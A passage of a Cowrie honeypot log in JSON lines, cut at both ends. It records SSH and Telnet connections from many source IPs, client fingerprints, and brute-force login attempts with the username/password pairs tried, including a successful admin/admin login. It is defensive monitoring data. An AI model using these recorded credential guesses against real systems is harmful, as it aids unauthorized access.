roup1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:05.008662Z","src_ip":"87.251.64.176","session":"b1d25b9aafee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:05.304098Z","src_ip":"87.251.64.176","session":"b1d25b9aafee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:05.406396Z","session":"b1d25b9aafee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:05.505566Z","src_ip":"87.251.64.176","session":"b1d25b9aafee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:05.741948Z","src_ip":"87.251.64.176","session":"b1d25b9aafee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56542,"dst_ip":"10.17.0.5","dst_port":22,"session":"552a4dfc82e2","protocol":"ssh","message":"New connection: 80.94.92.186:56542 (10.17.0.5:22) [session: 552a4dfc82e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:21.041333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:21.090963Z","src_ip":"80.94.92.186","session":"552a4dfc82e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:21.258769Z","src_ip":"80.94.92.186","session":"552a4dfc82e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"sol","message":"login attempt [latitude/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:22.886824Z","src_ip":"80.94.92.186","session":"552a4dfc82e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:24.149528Z","src_ip":"80.94.92.186","session":"552a4dfc82e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":48690,"dst_ip":"10.17.0.5","dst_port":22,"session":"75580ea0938b","protocol":"ssh","message":"New connection: 160.251.185.39:48690 (10.17.0.5:22) [session: 75580ea0938b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:44.277846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:44.284027Z","src_ip":"160.251.185.39","session":"75580ea0938b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:44.466195Z","src_ip":"160.251.185.39","session":"75580ea0938b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123321","message":"login attempt [testuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:45.236023Z","src_ip":"160.251.185.39","session":"75580ea0938b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:46.421331Z","src_ip":"160.251.185.39","session":"75580ea0938b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.174.45","src_port":55516,"dst_ip":"10.17.0.5","dst_port":22,"session":"5304a6292797","protocol":"ssh","message":"New connection: 106.13.174.45:55516 (10.17.0.5:22) [session: 5304a6292797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:56.738116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:57.092063Z","src_ip":"106.13.174.45","session":"5304a6292797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:02.403766Z","src_ip":"106.13.174.45","session":"5304a6292797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:02.411762Z","src_ip":"106.13.174.45","session":"5304a6292797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":36124,"dst_ip":"10.17.0.5","dst_port":22,"session":"d862081cf52c","protocol":"ssh","message":"New connection: 58.186.20.143:36124 (10.17.0.5:22) [session: d862081cf52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:07.481829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:07.487170Z","src_ip":"58.186.20.143","session":"d862081cf52c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:07.748555Z","src_ip":"58.186.20.143","session":"d862081cf52c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"qweasd","message":"login attempt [minecraft/qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:08.813008Z","src_ip":"58.186.20.143","session":"d862081cf52c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:10.073603Z","src_ip":"58.186.20.143","session":"d862081cf52c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38522,"dst_ip":"159.203.135.109","dst_port":22,"session":"77c02df7c538","protocol":"ssh","message":"New connection: 2.57.121.25:38522 (159.203.135.109:22) [session: 77c02df7c538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:12.219760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:12.231659Z","src_ip":"2.57.121.25","session":"77c02df7c538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:12.338346Z","src_ip":"2.57.121.25","session":"77c02df7c538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26exkp","message":"login attempt [user/26exkp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:12.833650Z","src_ip":"2.57.121.25","session":"77c02df7c538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26111990","message":"login attempt [user/26111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:13.941978Z","src_ip":"2.57.121.25","session":"77c02df7c538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26101991","message":"login attempt [user/26101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:15.050982Z","src_ip":"2.57.121.25","session":"77c02df7c538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26101978","message":"login attempt [user/26101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:16.160403Z","src_ip":"2.57.121.25","session":"77c02df7c538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26091982","message":"login attempt [user/26091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:17.269395Z","src_ip":"2.57.121.25","session":"77c02df7c538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:18.378737Z","src_ip":"2.57.121.25","session":"77c02df7c538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":40820,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f1a095c800","protocol":"ssh","message":"New connection: 14.225.205.58:40820 (159.203.135.109:22) [session: c9f1a095c800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:38.904127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:38.909109Z","src_ip":"14.225.205.58","session":"c9f1a095c800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:39.166689Z","src_ip":"14.225.205.58","session":"c9f1a095c800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"PASSWORD","message":"login attempt [postgres/PASSWORD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:40.231981Z","src_ip":"14.225.205.58","session":"c9f1a095c800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:41.493091Z","src_ip":"14.225.205.58","session":"c9f1a095c800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":50420,"dst_ip":"159.203.135.109","dst_port":22,"session":"10f380602c70","protocol":"ssh","message":"New connection: 101.47.159.125:50420 (159.203.135.109:22) [session: 10f380602c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:55.729001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:55.732991Z","src_ip":"101.47.159.125","session":"10f380602c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:55.979245Z","src_ip":"101.47.159.125","session":"10f380602c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass1234","message":"login attempt [ubuntu/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:56.995656Z","src_ip":"101.47.159.125","session":"10f380602c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:47:58.245506Z","src_ip":"101.47.159.125","session":"10f380602c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":22336,"dst_ip":"159.203.135.109","dst_port":23,"session":"d17d292ac1a3","protocol":"telnet","message":"New connection: 43.224.126.107:22336 (159.203.135.109:23) [session: d17d292ac1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:14.971515Z"}
{"eventid":"cowrie.session.connect","src_ip":"93.185.167.89","src_port":40390,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eaa3850f332","protocol":"ssh","message":"New connection: 93.185.167.89:40390 (10.17.0.5:22) [session: 8eaa3850f332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:27.487876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:27.492807Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh